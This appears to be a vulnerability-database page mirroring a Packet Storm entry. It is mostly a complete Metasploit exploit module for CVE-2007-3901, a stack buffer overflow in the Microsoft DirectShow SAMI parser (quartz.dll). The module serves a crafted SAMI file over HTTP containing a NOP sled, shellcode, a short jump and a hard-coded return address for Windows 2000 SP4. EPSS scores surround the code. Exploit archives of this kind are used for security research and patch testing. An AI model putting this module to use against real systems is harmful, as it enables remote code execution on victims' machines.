Microsoft DirectX DirectShow SAMI Buffer Overflow

2009-11-2600:00:00

packetstormsecurity.com

0.968 High

EPSS

Percentile

99.6%

JSON

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft DirectX DirectShow SAMI Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the DirectShow Synchronized  
Accessible Media Interchanged (SAMI) parser in quartz.dll. This module  
has only been tested with Windows Media Player (6.4.09.1129) and   
DirectX 8.0.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-3901' ],  
[ 'OSVDB', '39126' ],  
[ 'MSB', 'MS07-064' ],  
[ 'BID', '26787' ],   
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 11 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 8080 ])  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)   
  
client.get_once  
  
buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded   
buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')   
buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324)  
  
header = "HTTP/1.1 200 OK\r\n"  
header << "Content-Type: application/smil\r\n\r\n"  
  
body = "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r"  
body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r"  
body << "font-weight: normal;\rcolor: #FFFFFF;\r"  
body << "background: #FFFFFF;\rtext-align: center;\r"  
body << "padding-left: 2px;\rpadding-right: 2px;\r"  
body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r"  
body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r"  
body << "<SYNC Start=\"0\" pippo=\"" + buffer  
body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>"  
  
sploit = header + body  
  
print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")  
  
client.put(sploit)  
handler(client)  
  
service.close_client(client)  
end  
  
end  
`

0.968 High

EPSS

Percentile

99.6%

JSON

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